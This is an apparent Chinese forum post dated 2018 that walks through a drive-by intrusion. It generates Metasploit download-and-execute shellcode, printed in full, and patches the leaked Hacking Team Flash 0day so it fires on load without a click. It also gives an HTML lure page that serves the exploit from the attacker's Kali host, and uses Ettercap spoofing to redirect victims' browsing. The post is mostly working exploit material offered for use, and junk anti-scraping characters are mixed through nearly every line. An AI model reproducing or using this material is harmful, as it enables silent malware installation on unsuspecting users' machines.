|
" m( R5 i+ m1 W3 F" p4 e- e
三、flash 0day之手工代码修改制作下载者实例入侵演示
$ }) g( w* b' F, j$ @
0 h7 P4 h: G! T9 X2 ]( u* I3 q8 u! t
利用到的工具： ( X# t6 L- z1 {, Y( G
0 I+ h4 `5 G/ c# b2 v5 B. X; w! r: ` m' L- O! b
Msf 0 s& a$ R' f- l# ]) y2 l
1 f! o$ Z8 g# ~
& h4 }0 d% o R1 b Ettercap . F% C! v6 k, J7 \+ @
: R4 d% U' { }0 k, J4 L
: D x4 D% ^: X2 k! G
Adobe Flash CS6
2 G9 n7 K9 g6 X, `4 J* R( e
" G1 y( }% t! T
2 i4 \$ s1 J- J& g/ S) ]1 D4 G# q) ` Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
7 D/ R% g6 f% E% } 8 g0 n+ t, S' A4 q! @" N8 I
: d1 l9 E/ l: v5 b. w# [/ ]+ m4 t. t
下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options 7 |* h* Q2 \5 N& x
, c% I" l$ W% c4 j( R5 Y
1 `/ ~( f7 ]/ [9 t 如图：
4 S* p5 |* g* v8 R5 Z
/ L/ J# ?+ N9 m# j1 [
" P6 E5 P" A- ]6 y- k# l
3 B( ~) N0 l# M' b% N3 Q" T9 ` - f5 C& K2 {' I* @4 R. J4 @
4 A3 Y! p* H4 s
; r5 a9 k! D& I0 {/ @ - C5 `- u, r- O# k) g
& `) ?2 l" k' |$ S8 Y
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 4 ]$ z( [. k. p7 }, h0 |
* d8 X X: v* O& m5 |
/ T$ o) D& D% }2 M: O2 D% C
4 f4 m2 T2 V/ t! x* d
5 _) P2 ]; U: V# U R% {2 B. ]6 h7 f6 X# j7 {" x
 " M8 g+ d6 w, _7 ]
0 a4 ?% B( F* q; O6 b
/ Y7 I) \; d6 a. X 然后执行generate -t dword生成shellcode，如下： 0 }8 M* Z# `. |
6 p4 m) W3 N% e3 A7 v, ]! I2 t# s) H( H& S6 d8 H
# e/ ]' ]$ A/ G6 [ 6 A7 q" n& S2 w
9 x K8 W( M. P4 G
复制代码到文本下便于我们一会编辑flash exp，如下： : D3 I7 B1 X E M! a0 @; e$ d
0 G9 o; r& n* @: E
% w7 H+ m6 l0 n0 K) y5 r, s 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, ; I# A3 R+ O; F) _0 Z& p" v4 c* r
3 R6 a% \: U9 o3 e1 Q5 {* {2 c$ B) O) @
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 7 H- s$ \0 t! x' a0 M
5 _& N' k5 q/ `' H( _5 l4 ^
& z1 c) ^! l2 A 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, & ] G6 w+ o4 C( }& o
8 |* I5 g9 w$ @" G
7 o5 a5 X# |- H2 @! e
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 9 q/ ]0 Z! o$ Q, W
7 j/ R- H) q6 o. Z {. F
/ k! t2 z* B: W- K. B, ? 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
5 M- w5 k" Q& e$ W1 E A) v( j& P/ {8 [# [% x. b
p" E7 C2 N! O" R1 ? 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ; [* z u* v; E, p
- ^, T# t2 Z" t, ?
3 k* g4 x) p2 h. T* I 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, " [# ?: m( B& U2 D! X& j
# }$ a6 M; C, E. B! i8 H
- T5 q- g) I1 O; A/ I8 V4 c
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
. I# {, y" x; H; l( m 3 } G# D5 t: \
7 e& u; W' [9 y: V) |4 d! M
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
M, Q. o0 v6 T& Y6 d
* l; g6 F( O0 f/ f" B: H
; v* j. w' ^ U6 i, a. n, e. F4 ^( |8 K 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
3 T, l1 `0 W; T2 F, ^/ }+ n
/ Z" q! e# I2 j4 Q( r- M4 v6 c- j4 i3 c. ]% P- @
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
% L1 i7 N% g# |( w ; B& P0 {3 l1 t+ Q3 W
" u3 N; R' y0 x4 \! u! f
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
1 j0 S% h8 k) B! T# h- V% K9 F( S8 I* c : t) e/ D( T! Z( O1 ?# }
9 V o; `# S+ t2 |4 E* S y) Z
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
4 B1 J s& d k9 m2 Y9 \0 U
: w) h5 ~; F& w6 t
. t2 F# e/ z* ^# u! X 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
8 J7 U7 J- r, R0 B/ g
8 c% M, D' w) t! i4 O3 e
% d- Q# l/ q& O- d
: X: u0 g0 O% a, J" |
% }: \& F) o) c: F- |- ^! f# h
/ n, c1 Y5 e9 U# D& i ' n' S8 ^9 x$ F
4 w7 n C2 D k. w4 t4 M/ L) J
7 D) o t6 ^- K3 X 下面我们来修改flash 0day exp，需要修改三个文件，分别为：
8 w" |" `) C! ?! R; ~
, Q4 K& Z, K8 @/ ]# n
M7 g m, q0 [' S  d" Y U0 w: j& ?
6 q; w" q$ |1 P: G+ M2 Y* v
. Q9 m' P6 ~% ^6 y6 k
先修改ShellWin32.as，部分源代码如图： : b: J1 L' E# [/ T# e8 W0 q
: D; m. X& M: J5 t3 j
# ?# ?" C' x$ @* o, B: E 
L7 ~8 k' h! ~, ?; @
6 L6 J& }9 p& c* b2 O
4 E% ^7 @. r$ P9 l: ^- P% u6 k 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： 1 M; ^; w2 x9 g1 y1 k9 ]# c. \
$ K9 |: a7 o0 N, Y; @# O
. I! I" q7 \+ E4 E# S i' r
8 L% j* c+ J6 V' g* O. f # s3 W* j$ @* }( J; h) C2 T2 M# r
) n( ~# @* M# c6 C5 n
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： ' C' B2 p8 H0 s" X4 L5 u) g$ O
; l0 O1 p; B/ v$ S. S3 a! |* r
2 R4 V: w# D; t% k 
$ F, o) [# `, Q/ T! T9 O @0 N7 H J# r
3 C1 p5 @+ E; ~* a 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
/ J m/ V* Z1 h0 ]* f4 e6 A7 t/ A - Z, ?! |- ~ P8 i+ [0 B
; A5 c8 L/ f0 e9 a ) J) {. N1 ^2 [" v( p' F
0 l- H% `' u: W- x4 K& v A8 z
0 ~( x0 B2 _( T9 \4 P
# ~2 k: `! {" e4 |! w6 O
$ P1 q6 v( \3 s6 Y9 ~5 K: x. l' r
7 ?; M0 J8 }! x( H0 o  ( Q3 D: H3 Z6 ?) }7 v) L
, W+ O4 ^5 S [- s Y7 D. J! C: K. h1 ^ e. C8 T5 W6 _3 Y
然后点保存，下面我们来编译一下，打开 3 d# i: \ a0 C! V
O1 [3 ~! q1 Z8 }2 D. J6 ]( O( z1 J1 l, r, P
exp1.fla然后点文件-发布，看看编译没错误
5 Y! r& C9 _3 R( `, Z, t/ ]+ Q
$ @' j( J# x$ M, |, E9 D9 M) b4 G# [. ^' E, |4 r" B0 n) [ v& f% W
$ |. i' U; s$ Z
/ _) I+ M- R' i" p
; ~6 k. i' Y5 ?8 G& j/ B" q . d( e7 e, o. x5 G9 X; ~
. Z# J4 Y9 f' _" l3 k, k& C9 t" C) F+ H% ]
6 I$ I z' v3 P/ t0 k9 |0 p" s
/ K X3 ^3 @& Z3 J6 y# }7 P, s# H7 u* N$ t$ V5 r
9 M7 [( \, {/ @0 b. y+ G' o! Y, h0 t
3 n3 ?( @/ A: G4 |! z$ ]7 b3 j8 L
然后我们把生成的
P5 w) q) y3 B7 J
2 r6 A8 c9 J8 ]; h) d/ j4 Y( V V% Z" ]) a5 B" V
exp1.swf丢到kailinux 的/var/www/html下： " t# V) _$ [5 h3 k0 ?
: R8 `' a1 l: b7 G9 @- X6 L' u8 l3 q. v c* q
然后把这段代码好好编辑一下
' F7 n$ ?6 n H& x9 J ! F) h8 N* n3 \& ^. i t
6 h8 \- Q3 }( V) Y. g/ Z
0 s$ `; J$ T, U0 o. M0 W 9 q9 ^( ~3 f; c" @
/ Z2 t! D+ b$ A1 K0 h( O
/ M5 o% R# v n, W
( O& s- p6 e* [
: I8 K7 |4 O. `) E / q9 Y# t* s' I+ p
! c% v9 @$ b! @( g5 S! i
2 k; ^$ O9 L' t$ O! H1 ?, H3 Y ; ~4 M: Z; h; F& ~, F) _
+ F% Y7 G) |# \5 @8 i* O* {2 G
" b6 Q0 R3 W: c* U0 v, W
: ~ k6 T" G- S; N 5 t; @$ S' E! h8 E; x s/ r7 g' T% Q
& u3 h; W( h) P' p
& \8 Z$ r0 m9 u) P) V; K& B ) c+ A! N+ J1 Z% m: C% J) V8 |
( ^! I/ k/ }5 Q. p; c; q2 j
<!DOCTYPE html>
) \1 G* _& \' d% X ) \7 g( y% [: w8 s6 o7 f
4 u, I& Q4 c/ r. b9 Y% t! L <html>
5 c+ {6 H, D$ A0 r! { - @. }& ?9 f7 q! b: u4 j! F
( a2 W9 K* ^: P5 N% p; {( ?( R) T <head>
% X7 t d# S4 H; M% { % s# W$ ?/ U6 C ?- n- Q
0 q1 D2 _( M# C
<meta http-equiv="Content-Type" content="text/html;
# w0 L! C/ g/ V3 r7 ~ 0 Y( E& T9 @4 C' g/ E4 R
5 R9 Q! E$ @+ {- M/ j8 M" a# U# b
charset=utf-8"/>
+ x0 g& O6 k+ r9 ^% _* V
. D- I+ i- j( H, _6 ^: Q M4 y8 v8 r
/ ]8 d i/ J/ K </head> 6 k* R E: f/ H0 A# d! U
6 v6 |/ S9 A8 n; g
4 ?) x( v @2 @* q! y) k, \7 f% d <body>
5 m5 y4 B% i0 a( [- E* F/ } $ e4 ^+ A8 C# z) w1 M
* ~7 {" E4 e. `) G+ y& ?
<h2> Please wait, the requested page is loading...</h2> 7 |0 J h+ r3 |) x
0 P/ n0 u" ~8 `' r B
! F$ W3 ]2 Q, I6 U" w <br>
4 B8 O9 A! c6 Q( s3 X 4 s& f5 ], g% _% G' k
4 [1 n& V3 |( c: x6 g: B
<OBJECT : q4 q" d# ^9 u
( V' q8 x/ S9 _+ q8 h [% {! L3 x
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie . C. D, _, c* J" I! Q
: B q& B1 k: }2 A4 I0 s( u% ^& l1 o$ G& o9 P
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> . m. I& D4 V4 E x
9 S' j4 \# Z) j* C( I
6 g. `* ?" E) }& f9 h$ V) B- h: a+ b: t% P </body>
) a0 E8 ?- P# k4 P6 Z9 g 6 I5 y# {! [2 e+ q+ T
' [: J/ p. J3 G9 h <script> 0 C# r5 D) I; t' m
6 \, o- l2 d6 c8 q: o6 c. R; T% e+ B
setTimeout(function () {
2 a O+ a1 w" Z , X( l. @4 l1 s3 A
& H5 \3 O/ l0 J4 u$ Z; e1 T7 ]. r
3 b& L9 S3 u9 t, h( ?0 V9 x4 e* y : c i Z6 k2 m; }. [0 F
$ a; u" ~; I& x u window.location.reload();
1 i' [" R9 r5 n4 [$ z 3 y8 N0 a/ L# E& k
7 J& B! y( p7 ?9 F
}, 10000); . f. v7 r. [4 D3 J
$ o: V6 Z$ u5 t$ `4 K& {
+ u( f! Y/ K7 O6 z9 `
8 h$ p/ F1 k* ^6 |! D3 d W, {! V! w
" U5 \( w( u% C" z1 z
7 N4 Z# W; u2 E/ |7 z% { </script>
- `6 I. n, r% Q
# n# ?# f( e; I/ }# L
# \. m2 |: K, S6 d2 ? </html>
2 y3 g: W9 ~2 w9 Z% G( u" H
- N u o9 l: V1 v8 a, U* r* F9 ]- U% c( e4 p" z3 J
' U, h( |) a A. h0 X+ r
: k! A# Z; @) j3 [7 w
+ @ @2 H( `; N2 s6 o9 [+ m
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：
& K: b8 b6 O$ R2 X - c# c4 R: ?* B6 S# e! b* D
7 J7 C& l0 p2 G; c0 L( M
8 B, t" w" B" F2 F# L; H7 c
% v* c5 j F5 o0 q1 @9 D) q0 b4 a2 P7 i; _9 F& m1 k
" X- @2 F; c+ T0 \( \
6 e- B, |$ L$ z3 ^' m+ L; W$ S2 z! ^7 S8 B; X! n' m% `$ H
1 w0 Y. F2 d$ Q0 R7 ?( J3 }9 \
6 S/ L1 e' Y7 X1 {, \2 b( q) J+ j8 A/ t
- u7 V+ I( O* M& m% b, {$ Z2 z. P
+ d$ e. t3 X! i k8 m9 P/ q2 _
. G9 ~+ z4 G' T& \ Y& n( O 8 }2 j) p1 G: H {4 V3 k0 ^. U. e
( c/ _1 F" P) ^# p) ?) c
* `5 Z3 N. a" w" T [7 ~
下面我们用ettercap欺骗如图：
6 S$ S u; z% w1 { / E8 Z- a/ s0 D2 n
1 Q" S. c* ?# r# O# X: `/ f% Z 
$ n: f5 f( Y# P; W E 3 a! f4 g9 r) K3 u: n4 i# @+ o+ }
0 V9 O: k5 [. l# w
+ C( G5 l. V; X
( A: [/ _& M: L# u9 x# I& O
$ B/ a2 f9 E: d! R8 v 下面我们随便访问个网站看看：
1 b* k8 \& X+ S& } 2 z$ X$ K6 U$ `0 h. @% U6 {
1 k: [! p) w* @, a! M
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
0 x' y0 t5 Q( V& A9 s/ V% `! q
1 y' y/ ?$ C2 C8 K3 `" ?; ]2 I8 z4 ?& @0 n
8 k/ V# w+ t1 W" x
% t* m0 |+ d, z" N6 Q* D6 j5 W" o& c& ~( W/ l2 {; ?- J; C Z
我们看另一台，
. s4 O5 i4 q N. c8 C9 j : p+ W. T! ?+ {1 u8 Z1 n8 S" V/ u( q. ]
7 a. H- ~1 q0 s/ @. q, b- G0 d 提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。 $ H/ J) Y9 m3 X' M0 q, S/ d- {# s' d
| 
发表于 2018-10-20 20:28:55
收藏
支持
反对